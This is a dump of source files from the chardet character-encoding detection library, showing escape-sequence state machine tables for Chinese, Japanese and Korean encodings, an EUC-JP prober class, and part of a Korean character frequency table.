thirdparty/chardet/escsm.py ================================================ ######################## BEGIN LICENSE BLOCK ######################## # The Original Code is mozilla.org code. # # The Initial Developer of the Original Code is # Netscape Communications Corporation. # Portions created by the Initial Developer are Copyright (C) 1998 # the Initial Developer. All Rights Reserved. # # Contributor(s): # Mark Pilgrim - port to Python # # This library is free software; you can redistribute it and/or # modify it under the terms of the GNU Lesser General Public # License as published by the Free Software Foundation; either # version 2.1 of the License, or (at your option) any later version. # # This library is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU # Lesser General Public License for more details. # # You should have received a copy of the GNU Lesser General Public # License along with this library; if not, write to the Free Software # Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA # 02110-1301 USA ######################### END LICENSE BLOCK ######################### from .enums import MachineState HZ_CLS = ( 1,0,0,0,0,0,0,0, # 00 - 07 0,0,0,0,0,0,0,0, # 08 - 0f 0,0,0,0,0,0,0,0, # 10 - 17 0,0,0,1,0,0,0,0, # 18 - 1f 0,0,0,0,0,0,0,0, # 20 - 27 0,0,0,0,0,0,0,0, # 28 - 2f 0,0,0,0,0,0,0,0, # 30 - 37 0,0,0,0,0,0,0,0, # 38 - 3f 0,0,0,0,0,0,0,0, # 40 - 47 0,0,0,0,0,0,0,0, # 48 - 4f 0,0,0,0,0,0,0,0, # 50 - 57 0,0,0,0,0,0,0,0, # 58 - 5f 0,0,0,0,0,0,0,0, # 60 - 67 0,0,0,0,0,0,0,0, # 68 - 6f 0,0,0,0,0,0,0,0, # 70 - 77 0,0,0,4,0,5,2,0, # 78 - 7f 1,1,1,1,1,1,1,1, # 80 - 87 1,1,1,1,1,1,1,1, # 88 - 8f 1,1,1,1,1,1,1,1, # 90 - 97 1,1,1,1,1,1,1,1, # 98 - 9f 1,1,1,1,1,1,1,1, # a0 - a7 1,1,1,1,1,1,1,1, # a8 - af 1,1,1,1,1,1,1,1, # b0 - b7 1,1,1,1,1,1,1,1, # b8 - bf 1,1,1,1,1,1,1,1, # c0 - c7 1,1,1,1,1,1,1,1, # c8 - cf 1,1,1,1,1,1,1,1, # d0 - d7 1,1,1,1,1,1,1,1, # d8 - df 1,1,1,1,1,1,1,1, # e0 - e7 1,1,1,1,1,1,1,1, # e8 - ef 1,1,1,1,1,1,1,1, # f0 - f7 1,1,1,1,1,1,1,1, # f8 - ff ) HZ_ST = ( MachineState.START,MachineState.ERROR, 3,MachineState.START,MachineState.START,MachineState.START,MachineState.ERROR,MachineState.ERROR,# 00-07 MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ITS_ME,# 08-0f MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ERROR,MachineState.ERROR,MachineState.START,MachineState.START, 4,MachineState.ERROR,# 10-17 5,MachineState.ERROR, 6,MachineState.ERROR, 5, 5, 4,MachineState.ERROR,# 18-1f 4,MachineState.ERROR, 4, 4, 4,MachineState.ERROR, 4,MachineState.ERROR,# 20-27 4,MachineState.ITS_ME,MachineState.START,MachineState.START,MachineState.START,MachineState.START,MachineState.START,MachineState.START,# 28-2f ) HZ_CHAR_LEN_TABLE = (0, 0, 0, 0, 0, 0) HZ_SM_MODEL = {'class_table': HZ_CLS, 'class_factor': 6, 'state_table': HZ_ST, 'char_len_table': HZ_CHAR_LEN_TABLE, 'name': "HZ-GB-2312", 'language': 'Chinese'} ISO2022CN_CLS = ( 2,0,0,0,0,0,0,0, # 00 - 07 0,0,0,0,0,0,0,0, # 08 - 0f 0,0,0,0,0,0,0,0, # 10 - 17 0,0,0,1,0,0,0,0, # 18 - 1f 0,0,0,0,0,0,0,0, # 20 - 27 0,3,0,0,0,0,0,0, # 28 - 2f 0,0,0,0,0,0,0,0, # 30 - 37 0,0,0,0,0,0,0,0, # 38 - 3f 0,0,0,4,0,0,0,0, # 40 - 47 0,0,0,0,0,0,0,0, # 48 - 4f 0,0,0,0,0,0,0,0, # 50 - 57 0,0,0,0,0,0,0,0, # 58 - 5f 0,0,0,0,0,0,0,0, # 60 - 67 0,0,0,0,0,0,0,0, # 68 - 6f 0,0,0,0,0,0,0,0, # 70 - 77 0,0,0,0,0,0,0,0, # 78 - 7f 2,2,2,2,2,2,2,2, # 80 - 87 2,2,2,2,2,2,2,2, # 88 - 8f 2,2,2,2,2,2,2,2, # 90 - 97 2,2,2,2,2,2,2,2, # 98 - 9f 2,2,2,2,2,2,2,2, # a0 - a7 2,2,2,2,2,2,2,2, # a8 - af 2,2,2,2,2,2,2,2, # b0 - b7 2,2,2,2,2,2,2,2, # b8 - bf 2,2,2,2,2,2,2,2, # c0 - c7 2,2,2,2,2,2,2,2, # c8 - cf 2,2,2,2,2,2,2,2, # d0 - d7 2,2,2,2,2,2,2,2, # d8 - df 2,2,2,2,2,2,2,2, # e0 - e7 2,2,2,2,2,2,2,2, # e8 - ef 2,2,2,2,2,2,2,2, # f0 - f7 2,2,2,2,2,2,2,2, # f8 - ff ) ISO2022CN_ST = ( MachineState.START, 3,MachineState.ERROR,MachineState.START,MachineState.START,MachineState.START,MachineState.START,MachineState.START,# 00-07 MachineState.START,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,# 08-0f MachineState.ERROR,MachineState.ERROR,MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ITS_ME,# 10-17 MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR, 4,MachineState.ERROR,# 18-1f MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ITS_ME,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,# 20-27 5, 6,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,# 28-2f MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ITS_ME,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,# 30-37 MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ITS_ME,MachineState.ERROR,MachineState.START,# 38-3f ) ISO2022CN_CHAR_LEN_TABLE = (0, 0, 0, 0, 0, 0, 0, 0, 0) ISO2022CN_SM_MODEL = {'class_table': ISO2022CN_CLS, 'class_factor': 9, 'state_table': ISO2022CN_ST, 'char_len_table': ISO2022CN_CHAR_LEN_TABLE, 'name': "ISO-2022-CN", 'language': 'Chinese'} ISO2022JP_CLS = ( 2,0,0,0,0,0,0,0, # 00 - 07 0,0,0,0,0,0,2,2, # 08 - 0f 0,0,0,0,0,0,0,0, # 10 - 17 0,0,0,1,0,0,0,0, # 18 - 1f 0,0,0,0,7,0,0,0, # 20 - 27 3,0,0,0,0,0,0,0, # 28 - 2f 0,0,0,0,0,0,0,0, # 30 - 37 0,0,0,0,0,0,0,0, # 38 - 3f 6,0,4,0,8,0,0,0, # 40 - 47 0,9,5,0,0,0,0,0, # 48 - 4f 0,0,0,0,0,0,0,0, # 50 - 57 0,0,0,0,0,0,0,0, # 58 - 5f 0,0,0,0,0,0,0,0, # 60 - 67 0,0,0,0,0,0,0,0, # 68 - 6f 0,0,0,0,0,0,0,0, # 70 - 77 0,0,0,0,0,0,0,0, # 78 - 7f 2,2,2,2,2,2,2,2, # 80 - 87 2,2,2,2,2,2,2,2, # 88 - 8f 2,2,2,2,2,2,2,2, # 90 - 97 2,2,2,2,2,2,2,2, # 98 - 9f 2,2,2,2,2,2,2,2, # a0 - a7 2,2,2,2,2,2,2,2, # a8 - af 2,2,2,2,2,2,2,2, # b0 - b7 2,2,2,2,2,2,2,2, # b8 - bf 2,2,2,2,2,2,2,2, # c0 - c7 2,2,2,2,2,2,2,2, # c8 - cf 2,2,2,2,2,2,2,2, # d0 - d7 2,2,2,2,2,2,2,2, # d8 - df 2,2,2,2,2,2,2,2, # e0 - e7 2,2,2,2,2,2,2,2, # e8 - ef 2,2,2,2,2,2,2,2, # f0 - f7 2,2,2,2,2,2,2,2, # f8 - ff ) ISO2022JP_ST = ( MachineState.START, 3,MachineState.ERROR,MachineState.START,MachineState.START,MachineState.START,MachineState.START,MachineState.START,# 00-07 MachineState.START,MachineState.START,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,# 08-0f MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ITS_ME,# 10-17 MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ERROR,MachineState.ERROR,# 18-1f MachineState.ERROR, 5,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR, 4,MachineState.ERROR,MachineState.ERROR,# 20-27 MachineState.ERROR,MachineState.ERROR,MachineState.ERROR, 6,MachineState.ITS_ME,MachineState.ERROR,MachineState.ITS_ME,MachineState.ERROR,# 28-2f MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ITS_ME,MachineState.ITS_ME,# 30-37 MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ITS_ME,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,# 38-3f MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ITS_ME,MachineState.ERROR,MachineState.START,MachineState.START,# 40-47 ) ISO2022JP_CHAR_LEN_TABLE = (0, 0, 0, 0, 0, 0, 0, 0, 0, 0) ISO2022JP_SM_MODEL = {'class_table': ISO2022JP_CLS, 'class_factor': 10, 'state_table': ISO2022JP_ST, 'char_len_table': ISO2022JP_CHAR_LEN_TABLE, 'name': "ISO-2022-JP", 'language': 'Japanese'} ISO2022KR_CLS = ( 2,0,0,0,0,0,0,0, # 00 - 07 0,0,0,0,0,0,0,0, # 08 - 0f 0,0,0,0,0,0,0,0, # 10 - 17 0,0,0,1,0,0,0,0, # 18 - 1f 0,0,0,0,3,0,0,0, # 20 - 27 0,4,0,0,0,0,0,0, # 28 - 2f 0,0,0,0,0,0,0,0, # 30 - 37 0,0,0,0,0,0,0,0, # 38 - 3f 0,0,0,5,0,0,0,0, # 40 - 47 0,0,0,0,0,0,0,0, # 48 - 4f 0,0,0,0,0,0,0,0, # 50 - 57 0,0,0,0,0,0,0,0, # 58 - 5f 0,0,0,0,0,0,0,0, # 60 - 67 0,0,0,0,0,0,0,0, # 68 - 6f 0,0,0,0,0,0,0,0, # 70 - 77 0,0,0,0,0,0,0,0, # 78 - 7f 2,2,2,2,2,2,2,2, # 80 - 87 2,2,2,2,2,2,2,2, # 88 - 8f 2,2,2,2,2,2,2,2, # 90 - 97 2,2,2,2,2,2,2,2, # 98 - 9f 2,2,2,2,2,2,2,2, # a0 - a7 2,2,2,2,2,2,2,2, # a8 - af 2,2,2,2,2,2,2,2, # b0 - b7 2,2,2,2,2,2,2,2, # b8 - bf 2,2,2,2,2,2,2,2, # c0 - c7 2,2,2,2,2,2,2,2, # c8 - cf 2,2,2,2,2,2,2,2, # d0 - d7 2,2,2,2,2,2,2,2, # d8 - df 2,2,2,2,2,2,2,2, # e0 - e7 2,2,2,2,2,2,2,2, # e8 - ef 2,2,2,2,2,2,2,2, # f0 - f7 2,2,2,2,2,2,2,2, # f8 - ff ) ISO2022KR_ST = ( MachineState.START, 3,MachineState.ERROR,MachineState.START,MachineState.START,MachineState.START,MachineState.ERROR,MachineState.ERROR,# 00-07 MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ITS_ME,# 08-0f MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR, 4,MachineState.ERROR,MachineState.ERROR,# 10-17 MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR, 5,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,# 18-1f MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ITS_ME,MachineState.START,MachineState.START,MachineState.START,MachineState.START,# 20-27 ) ISO2022KR_CHAR_LEN_TABLE = (0, 0, 0, 0, 0, 0) ISO2022KR_SM_MODEL = {'class_table': ISO2022KR_CLS, 'class_factor': 6, 'state_table': ISO2022KR_ST, 'char_len_table': ISO2022KR_CHAR_LEN_TABLE, 'name': "ISO-2022-KR", 'language': 'Korean'} ================================================ FILE: thirdparty/chardet/eucjpprober.py ================================================ ######################## BEGIN LICENSE BLOCK ######################## # The Original Code is mozilla.org code. # # The Initial Developer of the Original Code is # Netscape Communications Corporation. # Portions created by the Initial Developer are Copyright (C) 1998 # the Initial Developer. All Rights Reserved. # # Contributor(s): # Mark Pilgrim - port to Python # # This library is free software; you can redistribute it and/or # modify it under the terms of the GNU Lesser General Public # License as published by the Free Software Foundation; either # version 2.1 of the License, or (at your option) any later version. # # This library is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU # Lesser General Public License for more details. # # You should have received a copy of the GNU Lesser General Public # License along with this library; if not, write to the Free Software # Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA # 02110-1301 USA ######################### END LICENSE BLOCK ######################### from .enums import ProbingState, MachineState from .mbcharsetprober import MultiByteCharSetProber from .codingstatemachine import CodingStateMachine from .chardistribution import EUCJPDistributionAnalysis from .jpcntx import EUCJPContextAnalysis from .mbcssm import EUCJP_SM_MODEL class EUCJPProber(MultiByteCharSetProber): def __init__(self): super(EUCJPProber, self).__init__() self.coding_sm = CodingStateMachine(EUCJP_SM_MODEL) self.distribution_analyzer = EUCJPDistributionAnalysis() self.context_analyzer = EUCJPContextAnalysis() self.reset() def reset(self): super(EUCJPProber, self).reset() self.context_analyzer.reset() @property def charset_name(self): return "EUC-JP" @property def language(self): return "Japanese" def feed(self, byte_str): for i in range(len(byte_str)): # PY3K: byte_str is a byte array, so byte_str[i] is an int, not a byte coding_state = self.coding_sm.next_state(byte_str[i]) if coding_state == MachineState.ERROR: self.logger.debug('%s %s prober hit error at byte %s', self.charset_name, self.language, i) self._state = ProbingState.NOT_ME break elif coding_state == MachineState.ITS_ME: self._state = ProbingState.FOUND_IT break elif coding_state == MachineState.START: char_len = self.coding_sm.get_current_charlen() if i == 0: self._last_char[1] = byte_str[0] self.context_analyzer.feed(self._last_char, char_len) self.distribution_analyzer.feed(self._last_char, char_len) else: self.context_analyzer.feed(byte_str[i - 1:i + 1], char_len) self.distribution_analyzer.feed(byte_str[i - 1:i + 1], char_len) self._last_char[0] = byte_str[-1] if self.state == ProbingState.DETECTING: if (self.context_analyzer.got_enough_data() and (self.get_confidence() > self.SHORTCUT_THRESHOLD)): self._state = ProbingState.FOUND_IT return self.state def get_confidence(self): context_conf = self.context_analyzer.get_confidence() distrib_conf = self.distribution_analyzer.get_confidence() return max(context_conf, distrib_conf) ================================================ FILE: thirdparty/chardet/euckrfreq.py ================================================ ######################## BEGIN LICENSE BLOCK ######################## # The Original Code is Mozilla Communicator client code. # # The Initial Developer of the Original Code is # Netscape Communications Corporation. # Portions created by the Initial Developer are Copyright (C) 1998 # the Initial Developer. All Rights Reserved. # # Contributor(s): # Mark Pilgrim - port to Python # # This library is free software; you can redistribute it and/or # modify it under the terms of the GNU Lesser General Public # License as published by the Free Software Foundation; either # version 2.1 of the License, or (at your option) any later version. # # This library is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU # Lesser General Public License for more details. # # You should have received a copy of the GNU Lesser General Public # License along with this library; if not, write to the Free Software # Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA # 02110-1301 USA ######################### END LICENSE BLOCK ######################### # Sampling from about 20M text materials include literature and computer technology # 128 --> 0.79 # 256 --> 0.92 # 512 --> 0.986 # 1024 --> 0.99944 # 2048 --> 0.99999 # # Idea Distribution Ratio = 0.98653 / (1-0.98653) = 73.24 # Random Distribution Ration = 512 / (2350-512) = 0.279. # # Typical Distribution Ratio EUCKR_TYPICAL_DISTRIBUTION_RATIO = 6.0 EUCKR_TABLE_SIZE = 2352 # Char to FreqOrder table , EUCKR_CHAR_TO_FREQ_ORDER = ( 13, 130, 120,1396, 481,1719,1720, 328, 609, 212,1721, 707, 400, 299,1722, 87, 1397,1723, 104, 536,1117,1203,1724,1267, 685,1268, 508,1725,1726,1727,1728,1398, 1399,1729,1730,1731, 141, 621, 326,1057, 368,1732, 267, 488, 20,1733,1269,1734, 945,1400,1735, 47, 904,1270,1736,1737, 773, 248,1738, 409, 313, 786, 429,1739, 116, 987, 813,1401, 683, 75,1204, 145,1740,1741,1742,1743, 16, 847, 667, 622, 708,1744,1745,1746, 966, 787, 304, 129,1747, 60, 820, 123, 676,1748,1749,1750, 1751, 617,1752, 626,1753,1754,1755,1756, 653,1757,1758,1759,1760,1761,1762, 856, 344,1763,1764,1765,1766, 89, 401, 418, 806, 905, 848,1767,1768,1769, 946,1205, 709,1770,1118,1771, 241,1772,1773,1774,1271,1775, 569,1776, 999,1777,1778,1779, 1780, 337, 751,1058, 28, 628, 254,1781, 177, 906, 270, 349, 891,1079,1782, 19, 1783, 379,1784, 315,1785, 629, 754,1402, 559,1786, 636, 203,1206,1787, 710, 567, 1788, 935, 814,1789,1790,1207, 766, 528,1791,1792,1208,1793,1794,1795,1796,1797, 1403,1798,1799, 533,1059,1404,1405,1156,1406, 936, 884,1080,1800, 351,1801,1802, 1803,1804,1805, 801,1806,1807,1808,1119,1809,1157, 714, 474,1407,1810, 298, 899, 885,1811,1120, 802,1158,1812, 892,1813,1814,1408, 659,1815,1816,1121,1817,1818, 1819,1820,1821,1822, 319,1823, 594, 545,1824, 815, 937,1209,1825,1826, 573,1409, 1022,1827,1210,1828,1829,1830,1831,1832,1833, 556, 722, 807,1122,1060,1834, 697, 1835, 900, 557, 715,1836,1410, 540,1411, 752,1159, 294, 597,1211, 976, 803, 770, 1412,1837,1838, 39, 794,1413, 358,1839, 371, 925,1840, 453, 661, 788, 531, 723, 544,1023,1081, 869, 91,1841, 392, 430, 790, 602,1414, 677,1082, 457,1415,1416, 1842,1843, 475, 327,1024,1417, 795, 121,1844, 733, 403,1418,1845,1846,1847, 300, 119, 711,1212, 627,1848,1272, 207,1849,1850, 796,1213, 382,1851, 519,1852,1083, 893,1853,1854,1855, 367, 809, 487, 671,1856, 663,1857,1858, 956, 471, 306, 857, 1859,1860,1160,1084,1861,1862,1863,1864,1865,1061,1866,1867,1868,1869,1870,1871, 282, 96, 574,1872, 502,1085,1873,1214,1874, 907,1875,1876, 827, 977,1419,1420, 1421, 268,1877,1422,1878,1879,1880, 308,1881, 2, 537,1882,1883,1215,1884,1885, 127, 791,1886,1273,1423,1887, 34, 336, 404, 643,1888, 571, 654, 894, 840,1889, 0, 886,1274, 122, 575, 260, 908, 938,1890,1275, 410, 316,1891,1892, 100,1893, 1894,1123, 48,1161,1124,1025,1895, 633, 901,1276,1896,1897, 115, 816,1898, 317, 1899, 694,1900, 909, 734,1424, 572, 866,1425, 691, 85, 524,1010, 543, 394, 841, 1901,1902,1903,1026,1904,1905,1906,1907,1908,1909, 30, 451, 651, 988, 310,1910, 1911,1426, 810,1216, 93,1912,1913,1277,1217,1914, 858, 759, 45, 58, 181, 610, 269,1915,1916, 131,1062, 551, 443,1000, 821,1427, 957, 895,1086,1917,1918, 375, 1919, 359,1920, 687,1921, 822,1922, 293,1923,1924, 40, 662, 118, 692, 29, 939, 887, 640, 482, 174,1925, 69,1162, 728,1428, 910,1926,1278,1218,1279, 386, 870, 217, 854,1163, 823,1927,1928,1929,1930, 834,1931, 78,1932, 859,1933,1063,1934, 1935,1936,1937, 438,1164, 208, 595,1938,1939,1940,1941,1219,1125,1942, 280, 888, 1429,1430,1220,1431,1943,1944,1945,1946,1947,1280, 150, 510,1432,1948,1949,1950, 1951,1952,1953,1954,1011,1087,1955,1433,1043,1956, 881,1957, 614, 958,1064,1065, 1221,1958, 638,1001, 860, 967, 896,1434, 989, 492, 553,1281,1165,1959,1282,1002, 1283,1222,1960,1961,1962,1963, 36, 383, 228, 753, 247, 454,1964, 876, 678,1965, 1966,1284, 126, 464, 490, 835, 136, 672, 529, 940,1088,1435, 473,1967,1968, 467, 50, 390, 227, 587, 279, 378, 598, 792, 968, 240, 151, 160, 849, 882,1126,1285, 639,1044, 133, 140, 288, 360, 811, 563,1027, 561, 142, 523,1969,1970,1971, 7, 103, 296, 439, 407, 506, 634, 990,1972,1973,1974,1975, 645,1976,1977,1978,1979, 1980,1981, 236,1982,1436,1983,1984,1089, 192, 828, 618, 518,1166, 333,1127,1985, 818,1223,1986,1987,1988,1989,1990,1991,1992,1993, 342,1128,1286, 746, 842,1994, 1995, 560, 223,1287, 98, 8, 189, 650, 978,1288,1996,1437,1997, 17, 345, 250, 423, 277, 234, 512, 226, 97, 289, 42, 167,1998, 201,1999,2000, 843, 836, 824, 532, 338, 783,1090, 182, 576, 436,1438,1439, 527, 500,2001, 947, 889,2002,2003, 2004,2005, 262, 600, 314, 447,2006, 547,2007, 693, 738,1129,2008, 71,1440, 745, 619, 688,2009, 829,2010,2011, 147,2012, 33, 948,2013,2014, 74, 224,2015, 61, 191, 918, 399, 637,2016,1028,1130, 257, 902,2017,2018,2019,2020,2021,2022,2023, 2024,2025,2026, 837,2027,2028,2029,2030, 179, 874, 591, 52, 724, 246,2031,2032, 2033,2034,1167, 969,2035,1289, 630, 605, 911,1091,1168,2036,2037,2038,1441, 912, 2039, 623,2040,2041, 253,1169,1290,2042,1442, 146, 620, 611, 577, 433,2043,1224, 719,1170, 959, 440, 437, 534, 84, 388, 480,1131, 159, 220, 198, 679,2044,1012, 819,1066,1443, 113,1225, 194, 318,1003,1029,2045,2046,2047,2048,1067,2049,2050, 2051,2052,2053, 59, 913, 112,2054, 632,2055, 455, 144, 739,1291,2056, 273, 681, 499,2057, 448,2058,2059, 760,2060,2061, 970, 384, 169, 245,1132,2062,2063, 414, 1444,2064,2065, 41, 235,2066, 157, 252, 877, 568, 919, 789, 580,2067, 725,2068, 2069,1292,2070,2071,1445,2072,1446,2073,2074, 55, 588, 66,1447, 271,1092,2075, 1226,2076, 960,1013, 372,2077,2078,2079,2080,2081,1293,2082,2083,2084,2085, 850, 2086,2087,2088,2089,2090, 186,2091,1068, 180,2092,2093,2094, 109,1227, 522, 606, 2095, 867,1448,1093, 991,1171, 926, 353,1133,2096, 581,2097,2098,2099,1294,1449, 1450,2100, 596,1172,1014,1228,2101,1451,1295,1173,1229,2102,2103,1296,1134,1452, 949,1135,2104,2105,1094,1453,1454,1455,2106,1095,2107,2108,2109,2110,2111,2112, 2113,2114,2115,2116,2117, 804,2118,2119,1230,1231, 805,1456, 405,1136,2120,2121, 2122,2123,2124, 720, 701,1297, 992,1457, 927,1004,2125,2126,2127,2128,2129,2130, 22, 417,2131, 303,2132, 385,2133, 971, 520, 513,2134,1174, 73,1096, 231, 274, 962,1458, 673,2135,1459,2136, 152,1137,2137,2138,2139,2140,1005,1138,1460,1139, 2141,2142,2143,2144, 11, 374, 844,2145, 154,1232, 46,1461,2146, 838, 830, 721, 1233, 106,2147, 90, 428, 462, 578, 566,1175, 352,2148,2149, 538,1234, 124,1298, 2150,1462, 761, 565,2151, 686,2152, 649,2153, 72, 173,2154, 460, 415,2155,1463, 2156,1235, 305,2157,2158,2159,2160,2161,2162, 579,2163,2164,2165,2166,2167, 747, 2168,2169,2170,2171,1464, 669,2172,2173,2174,2175,2176,1465,2177, 23, 530, 285, 2178, 335, 729,2179, 397,2180,2181,2182,1030,2183,2184, 698,2185,2186, 325,2187, 2188, 369,2189, 799,1097,1015, 348,2190,1069, 680,2191, 851,1466,2192,2193, 10, 2194, 613, 424,2195, 979, 108, 449, 589, 27, 172, 81,1031, 80, 774, 281, 350, 1032, 525, 301, 582,1176,2196, 674,1045,2197,2198,1467, 730, 762,2199,2200,2201, 2202,1468,2203, 993,2204,2205, 266,1070, 963,1140,2206,2207,2208, 664,1098, 972, 2209,2210,2211,1177,1469,1470, 871,2212,2213,2214,2215,2216,1471,2217,2218,2219, 2220,2221,2222,2223,2224,2225,2226,2227,1472,1236,2228,2229,2230,2231,2232,2233, 2234,2235,1299,2236,2237, 200,2238, 477, 373,2239,2240, 731, 825, 777,2241,2242, 2243, 521, 486, 548,2244,2245,2246,1473,1300, 53, 549, 137, 875, 76, 158,2247, 1301,1474, 469, 396,1016, 278, 712,2248, 321, 442, 503, 767, 744, 941,1237,1178, 1475,2249, 82, 178,1141,1179, 973,2250,1302,2251, 297,2252,2253, 570,2254,2255, 2256, 18, 450, 206,2257, 290, 292,1142,2258, 511, 162, 99, 346, 164, 735,2259, 1476,1477, 4, 554, 343, 798,1099,2260,1100,2261, 43, 171,1303, 139, 215,2262, 2263, 717, 775,2264,1033, 322, 216,2265, 831,2266, 149,2267,1304,2268,2269, 702, 1238, 135, 845, 347, 309,2270, 484,2271, 878, 655, 238,1006,1478,2272, 67,2273, 295,2274,2275, 461,2276, 478, 942, 412,2277,1034,2278,2279,2280, 265,2281, 541, 2282,2283,2284,2285,2286, 70, 852,1071,2287,2288,2289,2290, 21, 56, 509, 117, 432,2291,2292, 331, 980, 552,1101, 148, 284, 105, 393,1180,1239, 755,2293, 187, 2294,1046,1479,2295, 340,2296, 63,1047, 230,2297,2298,1305, 763,1306, 101, 800, 808, 494,2299,2300,2301, 903,2302, 37,1072, 14, 5,2303, 79, 675,2304, 312, 2305,2306,2307,2308,2309,1480, 6,1307,2310,2311,2312, 1, 470, 35, 24, 229, 2313, 695, 210, 86, 778, 15, 784, 592, 779, 32, 77, 855, 964,2314, 259,2315, 501, 380,2316,2317, 83, 981, 153, 689,1308,1481,1482,1483,2318,2319, 716,1484, 2320,2321,2322,2323,2324,2325,1485,2326,2327, 128, 57, 68, 261,1048, 211, 170, 1240, 31,2328, 51, 435, 742,2329,2330,2331, 635,2332, 264, 456,2333,2334,2335, 425,2336,1486, 143, 507, 263, 943,2337, 363, 920,1487, 256,1488,1102, 243, 601, 1489,2338,2339,2340,2341,2342,2343,2344, 861,2345,2346,2347,2348,2349,2350, 395, 2351,1490,1491, 62, 535, 166, 225,2352,2353, 668, 419,1241, 138, 604, 928,2354, 1181,2355,1492,1493,2356,2357,2358,1143,2359, 696,2360, 387, 307,1309, 682, 476, 2361,2362, 332, 12, 222, 156,2363, 232,2364, 641, 276, 656, 517,1494,1495,1035, 416, 736,1496,2365,1017, 586,2366,2367,2368,1497,2369, 242,2370,2371,2372,1498, 2373, 965, 713,2374,2375,2376,2377, 740, 982,1499, 944,1500,1007,2378,2379,1310, 1501,2380,2381,2382, 785, 329,2383,2384,1502,2385,2386,2387, 932,2388,1503,2389, 2390,2391,2392,1242,2393,2394,2395,2396,2397, 994, 950,2398,2399,2400,2401,1504, 1311,2402,2403,2404,2405,1049, 749,2406,2407, 853, 718,1144,1312,2408,1182,1505, 2409,2410, 255, 516, 479, 564, 550, 214,1506,1507,1313, 413, 239, 444, 339,1145, 1036,1508,1509,1314,1037,1510,1315,2411,1511,2412,2413,2414, 176, 703, 497, 624, 593, 921, 302,2415, 341, 165,1103,1512,2416,1513,2417,2418,2419, 376,2420, 700, 2421,2422,2423, 258, 768,1316,2424,1183,2425, 995, 608,2426,2427,2428,2429, 221, 2430,2431,2432,2433,2434,2435,2436,2437, 195, 323, 726, 188, 897, 983,1317, 377, 644,1050, 879,2438, 452,2439,2440,2441,2442,2443,2444, 914,2445,2446,2447,2448, 915, 489,2449,1514,1184,2450,2451, 515, 64, 427, 495,2452, 583,2453, 483, 485, 1038, 562, 213,1515, 748, 666,2454,2455,2456,2457, 334,2458, 780, 996,1008, 705, 1243,2459,2460,2461,2462,2463, 114,2464, 493,1146, 366, 163,1516, 961,1104,2465, 291,2466,1318,1105,2467,1517, 365,2468, 355, 951,1244,2469,1319,2470, 631,2471, 2472, 218,1320, 364, 320, 756,1518,1519,1321,1520,1322,2473,2474,2475,2476, 997, 2477,2478,2479,2480, 665,1185,2481, 916,1521,2482,2483,2484, 584, 684,2485,2486, 797,2487,1051,1186,2488,2489,2490,1522,2491,2492, 370,2493,1039,1187, 65,2494, 434, 205, 463,1188,2495, 125, 812, 391, 402, 826, 699, 286, 398, 155, 781, 771, 585,2496, 590, 505,1073,2497, 599, 244, 219, 917,1018, 952, 646,1523,2498,1323, 2499,2500, 49, 984, 354, 741,2501, 625,2502,1324,2503,1019, 190, 357, 757, 491, 95, 782, 868,2504,2505,2506,2507,2508,2509, 134,1524,1074, 422,1525, 898,2510, 161,2511,2512,2513,2514, 769,2515,1526,2516,2517, 411,1325,2518, 472,1527,2519, 2520,2521,2522,2523,2524, 985,2525,2526,2527,2528,2529,2530, 764,2531,1245,2532, 2533, 25, 204, 311,2534, 496,2535,1052,2536,2537,2538,2539,2540,2541,2542, 199, 704, 504, 468, 758, 657,1528, 196, 44, 839,1246, 272, 750,2543, 765, 862,2544, 2545,1326,2546, 132, 615, 933,2547, 732,2548,2549,2550,1189,1529,2551, 283,1247, 1053, 607, 929,2552,2553,2554, 930, 183, 872, 616,1040,1147,2555,1148,1020, 441, 249,1075,2556,2557,2558, 